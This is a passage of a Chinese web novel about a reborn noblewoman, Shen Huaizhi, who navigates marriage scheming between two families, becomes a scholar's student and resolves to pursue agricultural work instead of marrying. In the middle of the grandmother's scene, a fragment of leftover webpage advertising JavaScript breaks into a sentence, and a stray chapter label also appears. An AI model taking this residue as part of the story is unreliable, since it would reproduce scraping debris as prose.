“你还记得我从前说过的要回山上的话啊。”陈理忍不住笑,“七姑娘的好意我心领了,在下日后必定谨言慎行,绝不给其他人以可趁之机。” 饶是沈怀栀自觉自己心爱陈理,也不妨碍她对年轻时他的不着调报以无语。 自觉今天这场会面目的已经达成,沈怀栀不欲陈理在沈家久待,打算端茶送客,只是她手刚碰到茶盏,就听陈理问道,“昨日的赏花宴,七姑娘没去,许多人可失望得很呢。” “失望于没能看到我的热闹吗?”沈怀栀道。 陈理轻声一叹,“幸好昨日七姑娘没去,前面男客这边出事也就罢了,后宅女眷那里也不安生,据说有两位姑娘闹出了点事,惹得长公主很是不悦。” “还有玄章,”说话间,陈理不由自主的看了沈怀栀一眼,“他虽去得晚,但也没妨碍被人算计。” “是吗?”沈怀栀不轻不淡的应了一声,看似来似乎当真对薛琮身上发生了何事毫无兴趣,不见半点关注与好奇心。 陈理没忍住问道,“你当真不好奇?” “需要好奇吗?”沈怀栀平静反问,“难道你和薛世子不应当早就对此习以为常?” “习以为常……”陈理品评着这个词,轻笑出声,“好吧,不愧是七姑娘,用词总是那么精准。” “就结果来看,薛世子显然是早就习惯这等飞来艳遇了,虽说他本人极为不喜,但那些姑娘们可管不了我们世子高不高兴,人家只管自己能不能如愿,哪管得了我们薛世子的死活呢。” 难得见陈理这么刻薄,想来昨日闹得确实不太愉快,不过,这并不妨碍沈怀栀质疑他,“陈公子这话仿佛意有所指,我没理解错的话,似乎也有针对到我。” 这话一下子逗乐了陈理,他笑不可抑,连连为自己辩解,“不不不,我可没有针对七姑娘,七姑娘可不能冤枉我。” 沈怀栀语调淡淡,“那看来是我做贼心虚,非要对号入座了。” “也不算做贼吧,”陈理清了清嗓子,笑意莫名的道,“毕竟,我们七姑娘赔了夫人又折兵,到最后还什么都没偷着。” “是啊,没偷着,”沈怀栀斜睨他,“所以才轮到你在这里看我笑话。” “我哪有……”陈理忍不住为自己抱屈,“作为好朋友,我不是一直忙前跑后给七姑娘鼎力助威吗?最多我顾念同薛世子之间的友情,没帮姑娘从中作弊罢了。” “当然,七姑娘为人磊落,向来不屑这等手段,也没给我表现的机会。” 两人就这样漫无目的的闲聊着,沈怀栀慢慢寻回当年同对方相处的感觉。 确实,和在薛琮面前不一样,她同陈理相处时总是要轻松自在许多的,和他也是极好的朋友,若不然,他不会用心帮她那么多次。 虽说其中不乏薛琮的缘故,但她相信,自己同样是他愿意施以援手的理由。 他们这对夫妻,说到底有点可着陈理这一个人祸害了。 今日的春光极好,暖风微醺中,沈怀栀突然想起陈理那仅有的一次吐露心意。 那时他身上尚且残留着几分从围堵中逃出生天的狼狈,满身是伤的抱着剑靠坐在树下,一身落拓不羁,笑着慨叹道,“沈七啊沈七,我从不知道自己竟然是如此厚颜无耻之人,居然对友人之妻生出觊觎之心。” “不过,虽然厚颜,却不后悔。”他说,“所以,怀栀,我会护好你的,毕竟……” 毕竟什么? 她那时心中慌乱,顾不上细想,后来在无数次的记忆回溯中,一点点的补全了这句话。 毕竟,是我心中挚爱。 她第一次坚信别人爱她至深,第一次敢理直气壮的说自己是陈怀逸心中挚爱,由此开始。 这份爱她从不知道是从什么时候开始,因为什么开始,等她知晓时,已经长成一棵足以荫蔽她庇护她的参天大树。 陈怀逸挚爱沈怀栀,是无数大事小事堆叠起来的厚重爱意,经过了时光的验证与磨难的洗礼,是一份脚踏实地的可贵真情。 所以,他对她动心,是从什么时候开始,又是因为什么呢? 一念陡生之后,沈怀栀不由自主的将视线落在陈理身上,不确定自己能不能得到答案。 他这时候,对她有其他心思吗? 善谈的陈理正说着一桩自己从杂书中看来的趣事,他是个乐于分享的人,沈怀栀从前也听他说过许多诸如此类的闲谈,一切看起来普普通通,和以往并无什么不同。 但或许是刹那间突生的灵感终于舍得在她身上多停留一瞬,沈怀栀终于发觉,陈理身上这份千篇一律的怪异。 他的姿态,从未改变过,在她面前一向如此,不管是她忽略他的曾经,还是他后来情根深种。 所以,眼前这副熟悉的模样,一直就是他喜欢她的样子…… 明白这点之后,沈怀栀陷入了短暂的失神,所以,他对她的喜欢,居然从这么早以前就开始了吗? 像是终于找对了穿线的孔,一颗颗的珠子就这么顺其自然的穿了起来,最终,在沈怀栀面前展露出它最真实的模样。 “怎么突然用这么奇怪的眼神看我?”陈理在沈怀栀面前晃了晃手,引她回神,“难道是我说错话了?” “没有。”沈怀栀压下异样情绪,神色平静的道,“只是觉得该端茶送客了,你再继续待下去,恐怕会有不速之客。” 闻言,陈理无奈一笑,“七姑娘话说晚了,我现在就算想走,恐怕也不行了。” 顺着陈理的视线看过去,沈怀栀见到了家中姗姗来迟的姐妹们,如她对老夫人的料想那般,来了一场不算高明的试探与偶遇。 也是直到此刻,她终于了悟老夫人心里最中意的那个人选到底是谁—— 是身在局中一叶障目的她啊。 被祖母吩咐来花园这里“走一走”的几位姑娘,除五姑娘与六姑娘正值婚龄之外,其余几位都还年纪尚小,是以同陈理的会面也不算唐突。 几位姑娘在这里待了约有一盏茶的功夫,彼此寒暄客气几句之后,就再度离开,没有半分故意停留与亲近的意思,这么一看,倒显得沈怀栀之前那番提点有些过于小人之心了。 陈理倒不觉得自己的好友杞人忧天,他只是下意识的朝她看去,然后瞧见了她紧蹙的眉头与为难的眼神。 她确实有困扰,而且和自己有关。 察觉到这点之后,陈理歇了继续停留的心思,选择离开,“我今日待的时间也不短了,叨扰你和老夫人许久,就先告辞吧。” 沈怀栀顺势答应下来,将人领去了荣辉堂,然后见到了似乎心情甚好的老夫人。 对于陈理的告别,沈老夫人笑意吟吟的道,“陈公子人品贵重,风采不俗,我老人家甚是喜爱,以后若有机会,尽可再上门拜访,我沈家必定扫榻相迎。” “老夫人客气了,”陈理笑道,“您这份厚爱,晚辈就厚颜笑纳了,日后若有机会,必定再来登门拜访。” 等陈理这位贵客离去后,老夫人同孙女聊了几句所谓的知心话,就放人回春芜院去了。 等荣辉堂这里再度恢复宁静,她突然心情极好的笑了两声,“栀姐儿啊栀姐儿,真不愧是祖母的好孙女。” “有道是山重水复疑无路,柳暗花明又一村,我们家七姑娘的运道,当真不是一般的好。” “七姑娘的运道好,就是咱们沈家的运道好,”李嬷嬷在一旁道,“都是托福老夫人您对七姑娘的精心教养。” “你这话说的有几分道理。”沈老夫人欣然笑纳了这份夸赞,“虽说老七有时候很让人头疼,但我对她还是很满意的。” 尤其是这位吏部尚书家的陈公子出现之后,她就更满意了。 今日沈老夫人之所以将会面安排在花园的凉亭之中,就是因为从小楼那里可以将凉亭内的一切纳入眼底,她倒也不是打着偷窥的主意,单纯只是想观察一二,看一看栀姐儿和这位陈公子之间是如何相处的,好验证一下她的想法。 结果,不出所料,久经世故的老夫人很快就发现了那些潜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 藏在平静之下隐晦情意。 陈理,陈公子,确实对栀姐儿是有情意的,只可惜这份情意,他自己竟然是未曾察觉的,沈老夫人多少觉得有些好笑,她多少年未曾见过这样纯稚天然的年轻人了,不想自己今天竟然碰到了一个,也算稀奇。 至于她那位好孙女,可不是盏省油的灯,前有永嘉侯世子,后有吏部尚书嫡幼子,若非清楚她是个什么秉性,她这做祖母的都得称道一句心机深沉手段高明了。 自觉今天收获颇丰的沈老夫人,一时间将注意力转移到了新出现的目标人物身上,等心腹从外面探查回来,结合前因后果,她已然将一干事由的前后纠葛捋得清清楚楚。 以她作为局外人的角度而言,今日这位陈公子的登门并非无的放矢。 纵然尚且迟钝的没察觉自己心中那份萌发的情意,但在听说栀姐儿冷待薛世子之后,半分不往姑娘家置气与施展欲擒故纵之计上想,仿佛觉出自己有了机会似的,立时由本能驱使,做了出头的椽子。 老夫人觉得,怕是这位陈公子本人都没发觉如此行事时里面掺杂的那份私心,他这次登门,已然是将自己放在了沈家七姑娘挑选婚姻对象的位置上。 心思如此隐晦细腻,距离萌发暴露不过一步之遥罢了。 对此,沈老夫人是既欣喜又忧愁,欣喜的自然是多了一位实力雄厚的金龟婿,至于忧愁…… 永嘉侯太夫人有意为薛世子聘娶栀姐儿是事实,虽然两家还未下定成事,但多少已有了默契与共识,若是被薛家知晓陈公子的这份心意,不提太夫人本人对栀姐儿的品性如何做想,仅仅薛琮与陈理是知交好友这一事实,就会让一切变成一发不可收拾的烂摊子。 历经世事的老夫人可看过太多两个好友为争夺一个女子反目成仇的戏码了,对于男人们来说只是过几年就云过境迁的风流韵事,但对于牵扯其中的女子而言,却可能是毁掉一生的滔天祸事。 一时间,她竟有些庆幸那位世子对栀姐儿的冷酷无情了,现在看来,无情最好,这样,才不会生出横刀夺爱的灾殃来。 所以,永嘉侯太夫人那边,她可以暂时冷上一冷了,本就是勉强成就的姻缘,现在八字还没一撇,若果真不成,也不算可惜,至少,有吏部尚书陈家在,薛世子这个御前红人的分量,也就没那么要紧了。 她现在就希望,那位陈公子能多愚钝一段日子,给她留出布局的时间,这样日后各家才好皆大欢喜。 *** 永嘉侯府,后院用于日常读经参拜的小佛堂里,太夫人正手持佛珠闭目诵经。 天边夕阳西坠,晚霞艳艳,佛堂之中,烟气袅袅,朦胧烛光中可见高居神龛之中的佛像垂首怜爱世人,待供桌前香炉里的香快要燃尽,太夫人终于睁开了双眼。 “世子可回来了?”苍老的声音缓而慢的问道。 “回禀太夫人,世子尚未归来,”一旁的仆妇低声道,“亲随传话说金鳞卫这两日差事忙碌,世子怕是要歇在官署里。” 闻言,太夫人一语不发。 作为薛琮仅剩的血脉亲人,太夫人对孙子一直格外关心,在守过父母双亡的六年重孝之后,如今孙子已经到了弱冠之龄,是时候成家立业了。 毕竟这个年纪在普通人家早就娶妻生子,更何况是他们勋贵人家,尤其薛家如今只剩孙子一个血脉,这婚事断没有再继续拖下去的道理。 哪怕孙子无心情爱,不爱近女色,这婚事也必须早早定下,尤其太夫人心里还有怜爱孙子命苦的私心在,想要家中添丁进口,为这冷清的府邸里添一份人间烟火气,所以,就算孙子腻烦,她也要日日将催婚之事挂在嘴边。 太夫人看着被供奉在佛前属于儿子媳妇的两个牌位,轻声道,“玄章如今已然及冠,我只望早日为他定下婚事,娶个知冷知热心爱他的妻子,为薛家生下几个孙子孙女,如此才能了却心事。” “沈家那位七姑娘是个不错的孩子,尤其一心爱慕玄章,虽然言行有些大胆,但一腔赤子之心真挚纯粹,若是辜负,就太可惜了。” 听到外面那份熟悉的脚步声,太夫人慢慢转身,问自己生性冷清的爱孙,“玄章,你以为呢?” 薛琮沉默不语。 17-20 第17章 第17章—— 虽说收徒的决定突如其来,但姚文廉并不后悔,老师和学生的缘分,除了抱负与学识之外,还有眼缘,至少在他这里如此。 沈怀栀这个小姑娘,不仅凭借着才华和志气入了他的眼,更让他生出一见如故之感,以致于他顷刻间就定下了两人的师徒名份。 尤其,他还发觉,她并非是泛泛而谈的空想家,她所说的每一个想法背后,似乎都蕴含着脚踏实地的可能性,正是这份可能,愈发让他看重这个新弟子。 “自古农事,为国之本,为天下之本,”沈怀栀轻声道,“不管是引入良种优化良种,还是肥田之法兴修水利,都是为了天下百姓安稳,我虽不才,却也愿意尽己所能尽一份心力。” 闻言,姚文廉满目欣慰的笑道,“你这话说得好,前辈先贤曾有言,农为邦本,本固邦宁,纵观历朝历代,唯有农业兴旺百姓安宁,才能家国安稳天下一统,但凡农事凋敝,民心就易不稳,生出诸多动荡与祸患,就像前朝,虽看似是亡于末代君王的昏庸与暴政,但真追究起来,这里面未必不乏农事凋敝的影响。” 末了,他轻声叹了口气,“还有,我年轻时曾亲眼目睹亲身经历当年亳州与崇阳的大饥之灾,其间饿殍遍地,易子而食,堪称人间地狱,自那之后,我开始切实的意识到何谓农事为国之最,也才有了后来的诸多文章。” “老师写的那些文章我都曾一一拜读,”沈怀栀说,“对此感悟深刻。” 虽然不是今生看的,但上辈子她确实曾经花了很长一段时间去研读学习,也是因为那些文章,她最终和老师成了志同道合的同行者。 “我虽不曾见过老师所说的那些悲惨景象,但也确实有过一些感同身受的经历,是以能明白老师的许多想法。” 若非感同身受,一个贵女出身的侯门贵妇,不会费钱费力的去做许多费力不讨好之事,须知,农事的耕耘很多时候都是以年来算的,而且就算付出诸多,或许只是一场不合时宜的大雨一场突如其来的降温,精心培育的一切就会遭遇灭顶之灾,最后颗粒无收。 到那时,投入的钱财与精力都已经是不值一提的小事了,最怕付出了努力了,最后依旧一无所获,那才是最打击人折磨人心智的磨难。 是以,如果没有足够坚韧的志气与心力,于农事一道上想要有所进益,难如登天。 “最近在等待老师回信的时候,我在家里写了一些东西,”沈怀栀道,“因为今天要来见老师,所以我专门带了过来,希望老师能品鉴一二。” 她将早就准备好的文稿递过去,姚文廉接过,一页一页的仔细看起来。 沈怀栀所写的是一份周密详尽的计划书,写尽了她当前与日后的规划,用词严谨周密,时间安排物尽其用,看完这份文稿,仿佛能看尽一个投身农事的姑娘未来下半生的人生历程。 这本该是一份备受褒奖的文稿,姚文廉想,但凡坐在他面前的是任何一个男子,他都会立刻予以无限褒奖,并极力支持对方实现人生抱负。 但偏偏,坐在他面前的是一个还未嫁人的年轻姑娘。 身为名声广传天下的知名儒学宗师,他并没有许多古板苛刻的老学究那些轻视女子的想法,相反,他很赞同女子求知上进,不管是精进学问也好,还是醉心于琴棋书画绣技商事等,哪怕是被世人视为下九流的贱业,只要做得好,依旧值得一声真诚的褒奖。 他毕生信奉践行的都是圣人所说的有教无类,是以,在他这里,真正是“一花独放不是春,万紫千红春满园”。 所以,他的犹豫与迟疑在此刻才显得有些不合时宜与突兀。 在短暂的思考之后,姚文廉看向面前这个端坐从容的年轻学生,“怀栀,请允许为师暂时这么称呼你,你的文稿我细细看过,确实极好极实用,但我看字里行间表露出的意思,这仿佛是你对自己日后下半生的安排。” “当然,我并不觉得这有什么不好,这世上,不管任何一个人,只要他想,只要他愿意,任何时候都可以去追求去实现自己的志向。” “但是,你还年轻。”姚文廉说,“在为师这个年纪的人看来,年轻意味着很多变化很多可能,而你还尚未成婚嫁人,这其中的变数更多,所以……” 有些时候,聪明人之间话不用说得太明白,对方就能了悟其中未尽之意。 至少,沈怀栀是相当清楚老师的顾虑与疑问的,这也是她将有些麻烦拖到拜师之后才解决的原因。 “老师的想法我都明白,”沈怀栀笑道,“这也是接下来我要同老师商谈的问题关键,希望老师不要 觉得我一个年轻姑娘当面讨论自己的婚事太过轻浮冒昧。” “并不会,”姚文廉摇头,“为师并非迂腐之人。” 是啊,正是因为知道老师开明,所以我才敢、才有信心赌这一把。 “老师,当我写下这份文稿时,就已经有了日后不会婚嫁的打算。” 以这句堪称石破天惊的话为开端,沈怀栀说出了自己自重生归来后就有的令人惊世骇俗的想法。 “我的下半生,既不想耽于情爱靡于风月,也不想入哪家的后宅为谁生儿育女,我只想做我想做的事,过我想要的人生。” 以如今的世情和时下对女子的规训要求而言,沈怀栀这番话堪称离经叛道至极,至少,就连姚文廉这个见多识广的大儒也为自己学生的发言震撼不已。 他不是没见过有此般想法的女子,但还是头一次,亲眼见证一个如此年轻的姑娘的决心与志气。 但偏偏这份宝贵的决心与志气,是最容易夭折在苛刻世情与宗族亲人们的压迫之下的。 所以,比起震惊,他心中更多生出的却是悲悯与可惜,因为,这条路确实太不好走了。 “看老师的反应,似乎觉得我这些想法有些异想天开。”沈怀栀笑道。 “并非如此,”姚文廉叹息道,“只是你想走的这条路,对一个年轻姑娘来说,太难了。” “虽然难,但并非不可能。”沈怀栀道,“至少,我已经知道该如何安排前路了,现在万事俱备,只欠东风,而老师,就是我的东风。” “看来你已经有想法了,”姚文廉生出兴趣,“说来听听,你如何需要为师做你的东风。” 沈怀栀道,“我如今已到婚嫁之龄,家中祖母已经开始为我相看婚事,如若不出意外的话,大概不久之后就会定下婚事。” 但偏偏事情就是出了意外,沈怀栀不止不想嫁上辈子的丈夫,她甚至不想嫁人了。 “我的祖母,毕生以振兴沈家为己任,儿女婚事在家族前程面前,都是称斤轮两的筹码,而我的父亲,如今虽位居梧州刺史,却一心想要政绩傍身高升回京,”在老师逐渐因为震惊瞪大的眼睛里,沈怀栀看到了上辈子那个浸淫名利场许久的自己,“想要他们对我的婚事和未来高抬贵手,我只需要变得有用即可。” “有用”这两个字在已经荣登沈怀栀老师身份的姚文廉听来实在太过刺耳,仿佛眼前这个姑娘周遭只有利用,以助于她半分都不曾奢望过用真心与情意去赌自己的未来。 于是,仅仅不过半天的时间,姚文廉就开始心疼起他新收的学生,满腔慈爱心疼之意已经溢于言表。 最后,沈怀栀笑问道,“老师,您觉得,现在的我,在祖母和父亲面前有值得他们退让的价值吗?” “有,你当然有。”姚文廉神情复杂的叹息道,“你是个很好的姑娘。” “我也觉得我很不错。”沈怀栀难得调皮的笑道,“老师可以唤我真珠,这是祖父当年为我娶的小字,‘真’取抱朴守真之意,也是祖父对我的寄望。” “好,真珠,”姚文廉认真的唤了自己心爱的学生,“以后,老师不止是你的东风,还是你最大的靠山,你若有需要,尽管来寻为师。” 沈怀栀对于老师的心意自然是欣然笑纳,转而又开始说起自己其他的安排,比如在解决婚事的麻烦之后,她就打算启程南下去往梧州,开始自己的农事大业。 “梧州以及更南之地有许多适宜培育良种的好地方,”沈怀栀道,“正好我父亲如今是梧州刺史,有这样一个靠山在,到了当地行事会方便许多,可以省很多麻烦。” “等在梧州深耕几年有了成果之后,我才会考虑往北地发展,此前我的重心都将放在南方,北方这边会暂时交托给信任的心腹代管。” 姚文廉见学生早已将一切安排的井井有条,这才相信,眼前这个胸中有丘壑的姑娘,确确实实能解决拦在面前的一切麻烦。 而他能做的,不过是一场东风送她自由上青云。 最后,这对新鲜出炉相谈甚欢的师徒,甚至还抽空解决了一下沈怀栀的一个小麻烦。 言简意赅的将那天丰楼遇袭之事说给了老师听之后,沈怀栀毫不意外得到了对方的怜惜,并且姚文廉亲口承诺他将会亲手抄写一份《地藏经》送给永嘉侯府那位太夫人,以此来归还永嘉侯世子薛琮出手救人的人情。 沈怀栀临走下山之前,老师尚有些依依不舍,为了安慰这位至情至性关心爱护她的长辈,她咬咬牙,将自己尚未成稿的文章交给了对方。 这些还未被整理好的文章里,是前世她积攒的诸多宝贵经验,说是价值万万金都不夸张,毕竟,靡费了她无数时间金钱与心力。 但其中也尚有许多东西存疑,有些是结果还没得到验证,有些是虽有效果却原因存疑,也有些是道听途说但无实证做不得准,总之这些都是她日后去了南方需要解决的问题,算是她前世未竟的事业。 下山时,沈怀栀心情好得出奇,可以说,是她自重生归来后心情最好的一刻,仅次于她见到活着的陈理时。 不知道其他人有同她一般重生而来的机会后会选择什么,但她选择的,却是自己最想要的。 她做过他人的女儿与孙女,也做过他人的妻子与母亲,更尝过被人竭力全力心爱的滋味,无论是相敬如宾的婚姻、千篇一律的内宅生活还是荣华富贵与惊险刺激,她都已经尝过酸甜苦辣滋味,心中再无眷恋。 所以,这辈子她要由着心朝着自己喜欢的方向走,即便这条路可能是坎坷的孤独的。 如今时间已经临近四月,马上就要到上辈子她与薛琮定亲的时间,沈怀栀想,她那封早就快马送去给父亲的书信,想必不久就能让她彻底得偿所愿了。 第18章 第18章—— 临近四月,在沈怀栀没注意到的时候,她的婚事已经被提上日程。 至少沈老夫人生出闲情逸致,说是要带着家里几个姑娘出门祈福时,她并未联想到自己的婚事上。 直到在到达目的地崇福寺后,不经意间碰到了同祖母一起出门的薛琮,她这才惊觉,因为最近心思一直放在南下的事情上,她差点忘了自己眼前还有个迫在眉睫的麻烦尚未处理妥当。 于是,理所当然的,无意间“偶遇”的沈老夫人同薛太夫人如故友重逢般,摆出了热切交谈的架势,将年轻人撇在了一旁。 当然,这里的年轻人主要指的是沈怀栀同薛琮,至于一同而来的其他几个姑娘,早被老夫人寻机打发出去,是决不会留在这里碍手碍脚的。 沈怀栀想,果然不愧是她老奸巨猾的祖母,就算现在盯上了陈理,依旧能毫不心虚的把着薛家这条船,脚踏两条船骑驴找马的本事当属一等一。 那边两位老夫人在你来我往的彼此试探时,这边她只和薛琮淡淡的打了声招呼,便去了茶水房,准备为两位老人家奉茶,是半点没有同薛琮闲聊亲近的意思,规矩好得仿佛从前那个追着人到处跑的姑娘根本不存在。 当她端着茶水回到客房时,两位老人家看她的神情各有微妙。 沈老夫人自然是有些不满的,明显对她没有及时把握机会的行事略有微词,但外人面前,却是半分声色不露,只随口道了一句,“栀姐儿若是有空,便去后山明印大师那里为祖母求一株山玉兰吧,听说今年后山的山玉兰长势极好,正好移栽一株回府。” 山玉兰是象征佛门圣洁之花,同莲花、优昙以及曼陀罗花等都是最适合佛前供奉的花卉,有吉祥寓意,沈老夫人此时如此吩咐,算是不着痕迹且恰到好处的捧了一下薛太夫人,毕竟薛太夫人一向崇佛。 这点不言自明的好意太夫人显然是领受了的,她对沈 怀栀微微一笑,温言说了两句捧场的话,继而道,“后山路难行,七姑娘若是需要人陪伴,不妨去寻玄章,正好他也要帮我去向明印大师求一卷经书。” 沈怀栀随意客气两句后,便退出客房,带着冬青朝后山去了,至于去寻薛琮,那自然是不可能的。 去往后山的路着实又远又不好走,等她从明印大师那里得到许可,从后山挖了山玉兰回来后,不怎么意外的在临时歇脚的竹林小居里听到了熟悉的嗓音。 那声音就在隔壁,距离她不过几步之遥,因为竹屋墙壁单薄的缘故,旁边的字字句句都听得清晰入耳。 “姑娘,是薛世子。”冬青皱着眉低声道,显然对这次“偶遇”很不高兴。 在冬青心里,自家姑娘好不容易破了薛世子这个魔障,她是万分不愿意她再陷进去的,以致于她对沈薛两家之间的这桩婚事极不看好。 沈怀栀对此虽有些惊讶,却不怎么意外,她这会儿能在这里碰到薛琮,显然有蓄意设计的成分,因而只是道,“不妨事,先静观其变。” 她倒要看看,今天在这里上演的又是哪一出戏。 “玄章,太夫人总是催你成婚,你虽无意风月,却偏偏招惹了无数贵女的芳心,听说上次长公主的赏花宴上就被一位佳人投怀送抱了,着实是艳福不浅,羡煞旁人啊!”出言调侃的人大概是薛琮的哪位朋友,含着笑意的语气里既有调侃亦有亲近。 “你若想要的话,这份艳福我很乐意送给你。”薛琮语调冷淡,波澜不惊。 那人哀叹一声,颇有几分自怨自怜的意味,“你倒是想送,我却无福消受,就我如今举业平平的架势,纵然想搏得佳人欢心成家,这能谈上的婚事,也只会如我的前途一般平平无奇。” “既然如此,那就上进些,整日里少做些招猫逗狗之事,将心思全都放在正事上。”薛琮道,“若非你往日里总是行事散漫,也不至于今日如此苦恼。” 友人似是被噎了一下,有些底气不足的开口,“我的薛大人啊,你总不能要求人人都如你一般在差事上拼命吧。” 这话沈怀栀听在耳里是认同的,薛琮其人,固然有许多缺点,但不能否认的是,他确实是个尽忠职守恪尽职责的好臣子,也不枉圣人一心重用并在几年内接连擢升。 接下来两人又说了些别的琐事,就在沈怀栀自觉耐心消失打算默默离开时,随之而来的一句话让她歇了心思。 “我说玄章,你眼光那么高人又那么挑剔,到底打算娶个什么样的绝世佳人为妻啊?”友人问道,“京里这么多心仪你的姑娘,你真就没有看中的?” 短暂的安静过后,薛琮说出了自己的答案,“婚姻大事,向来是父母之命,媒妁之言,薛家和我不需要绝世佳人,只需夫妻相敬如宾,做好我薛家的贤妻良母即可。” “听起来似乎要求不高哈,”友人有些牙酸的道,“但往深里想想,就你想要的这种姻缘,必得是家世匹配、人才相貌出众的好姑娘,所以我们薛大人,到最后肯定是能娶一位名门贵女做贤内助的。” 至此,沈怀栀终于明白,她今天出现在这里的缘由了,无非是要她亲耳听到薛琮这一番真心话。 有些可笑的是,上辈子她也曾听过一模一样的话,只不过那时设计她的是薛琮的爱慕者,场景也与今日不同,但让她听到这些话的目的,毫无疑问一模一样,都是让她不要心存妄念。 即便嫁给了喜欢的心上人,也不要奢求他能回赠你同样的情意,你只需在妻子的位置上做好本分,照顾家宅生儿育女,做好夫君的贤内助,那就是沈怀栀这个人在其他人眼里的全部价值。 当年的沈怀栀,在厢房的隔壁听清了薛琮与朋友的谈话,尚且还有些天真的姑娘,并不知晓那是薛琮察觉她的存在后故意说给她听的,但即便如此,她依旧感觉到了无法言明的难过与伤心。 甚至于,那时候的她根本不明白自己难过伤心的根本原因,只浅薄的以为是真心与情意未曾得到重视与回馈,所以才伤心难过。 但现在久经世事的沈怀栀,已然明白年轻时候的自己在难过什么,她难过于,那桩她期待已久的和薛琮的婚事里,沈怀栀这个人从来不是必须与特殊,她被选择,是因为她合适,倘若换做另一个能满足薛琮要求的姑娘,她极力争取的婚事,她一心爱慕的心上人,未必会属于她。 一个不被坚定选择的人,一场只以价值而论的挑选,仿佛让她成了天平上待价而沽的货物,这才是她悲哀的根由。 沈怀栀觉得,当年的她,就是在这场谈话里,第一次明白了自己喜欢上的到底是什么样的人。 她有些怜惜从前的自己,那时候的沈姑娘,伤心与失落全都是直白且不加掩饰的,因为她尚且天真年轻,所以根本不明白自己想要的东西有多稀缺,而能给出愿意给出这些东西的人又有多么吝啬与冷漠。 薛琮只想要一个不会给他添麻烦拖后腿的贤妻,她或许能做到,但过程决不轻松,而她即便努力了,显然也得不到自己奢求的东西,所以,愈发显得一心求爱的她可怜悲哀。 虽说多年后的她早已明白,在他们这种人家里,夫妻之间尊重和相敬如宾就已经是圆满,贪得无厌奢求太多只会让人心烦,但天真的未曾被世事毒打的姑娘,总会忍不住奢望自己成为其中特别的那一个。 现在,她坐在这里,如当年一般,听薛琮说完那些熟悉言语,彼此心知肚明,这不过是一场心照不宣的隐晦沟通罢了。 就像想要做成一桩生意,只有彼此划定底线,才好讨价还价。 如今的她可以心平气和的坐在这里听薛琮道出自己的底线,甚至于,她开始觉得他有这样的想法无可厚非,毕竟,帝京里许多人家都是这样的,薛琮的要求真说起来并不苛刻,他这才是聪明人的做法,看得通透想得通透,不会给自己增添许多没必要的烦恼。 她如今已经明白,一场婚姻里,没必要强求两个人必须真心相爱,有爱的自然能做神仙眷侣,但无爱的也未必不成夫妻。 过去的她,是个本性偏要强求的人,她想要别人爱她,想要纯粹的感情,想嫁给喜欢的人,诸多的渴求并没有错,只是不合时宜,不合时宜的需求遇到不合适的人,注定她只能竹篮打水一场空,幸而如今的她已不再强求。 不过,她还是觉得,心有所爱心怀期待是好的,她理解薛琮的想法,却并不想成为他那样的人,也做不了他那样的人。 她还是想做她自己,至情至性的沈怀栀。 如今的沈怀栀,想要的都已经得到,空虚的心被真挚的爱填满,漂浮不定的人生有了踏踏实实的落脚之地,所以,纵然这辈子的她不会成为谁的妻子,却依旧能拥有独属于自己的幸福。 这样已足够。 *** 崇福寺的这场会面并没有持续太长时间,等沈怀栀带着山玉兰回来时,薛太夫人人早已离开。 只看祖母的神情,沈怀栀就知道今天这场会面的结果没让她失望,虽然她的婚事迫在眉睫,但因为有陈理这个意外变数突然出现,现在的她并不担心自己的婚事被轻易许出去。 老夫人最经精于算计的一个人,没得到她想要的好处前,她有的是耐心和人周旋。 这厢沈家的人心满意足归家,那边,和孙子的汇合的薛太夫人,面色却不怎么好看。 见状,薛琮不免要问上一句,“祖母因何心绪不佳?” “还不是为了你的婚事。”太夫人叹道,“我本以为今日能成事,却不料,进展并不如我所想。” 太夫人简单说了一下沈家那位老夫人的态度,若说从前是热情有加,那今日相 较从前可以说是冷淡许多。 她以为两家相约“意外”偶遇是彼此互有默契,能够很快定下两个年轻人的婚事,但出乎意料是,那位沈老夫人这次不止态度冷淡了不少,谈起婚事的姿态也格外矜持,仿佛并不担心孙女的婚嫁。 用订婚做试探时,太夫人发现,对方的态度不甚热络,和从前那略微透出几分迫切与谄媚的态度可谓是不可同日而语。 见孙子为此皱眉,太夫人安抚道,“说是这么说,但玄章你也不必太过担心,所谓高门娶妇低门嫁女,沈家门楣不算低,这次不如从前热情,估计是想要抻一抻你,你也知晓,从前沈家姑娘追着你跑时,闹出了不少动静,沈家就算想要许婚,多少也要顾及一二自家的颜面和年轻姑娘的自尊心。” “说到底,婚姻大事是两家联姻,不是任由年轻姑娘一腔心意和任性脾气左右的,沈家摆出高姿态想要矜持,我们只需给足颜面即可,毕竟,祖母是真希望你们能尽快定下婚事的。” “一切听凭祖母安排。”薛琮听到最后,如此回道。 闻言,太夫人露出两分笑,亲昵的拍了拍孙子的手背,“好,祖母等着看我们玄章娶亲。” 与心情有所好转的太夫人不同,薛琮心中却微妙的生出了几分不好的预感。 或许是前阵子的梦境影响,抑或者最近沈怀栀冷漠的态度太过鲜明,以致于他心底突然生出了一个仿佛有些不切实际的念头—— 假如沈七拒婚,这桩婚事,还会成吗? 当他开始思考这个可能时,一旁原本闭目养神的太夫人,突然开口问道,“玄章,祖母问你一个问题,如果,我是说如果,和沈家之间的婚事成不了的话,你怎么想?” 难得的,薛琮为此愣了一下,待怔愣过后,面对祖母隐隐充满压迫感的眼神,他认真的想了想,给出回答,“娶妻的话,不必非姓沈的姑娘不可。” 这就是但有万一,可以取消两家婚事的意思,见状,太夫人满意的点点头,“是这个道理。” “婚姻本就是结两姓之好,有时若出了意外,可能结果确实会与初衷背道而驰,”她道,“祖母活了这么多年岁,见过经过的事情不少,自然要想得多些,这样才能事事周全,尤其,事关你的婚姻大事和侯府来日,更不敢随意轻忽。” “祖母的苦心,我都明白。”薛琮道,“多谢祖母为孙儿费心。” “一家人不必说两家话,”太夫人道,“如今薛家只剩你我二人,我们祖孙自当守望相助,不过等来日你娶妻之后,咱们家就能热闹些了,祖母还是很希望能有个孙媳妇陪在身边说说话的。” 至于这个孙媳妇人选到底是谁,这次太夫人却不再斩钉截铁说沈家姑娘了,毕竟,不怕一万就怕万一,凡事总要做最好的打算最坏的准备。 至少,太夫人自己是不希望定亲人选有变的,但若真的不可避免有了变化,那到时候也只能见机行事,反正她家这个孙儿,是决计不愁娶不到好姑娘的。 *** 回到沈家后,沈怀栀刚休息好准备写些东西,荣辉堂那边沈老夫人就遣了红莲过来传话,说是请人过去有话要说。 老夫人眯着眼由丫头捶背,脑海里揣摩着今日同薛家这一场“偶遇”。 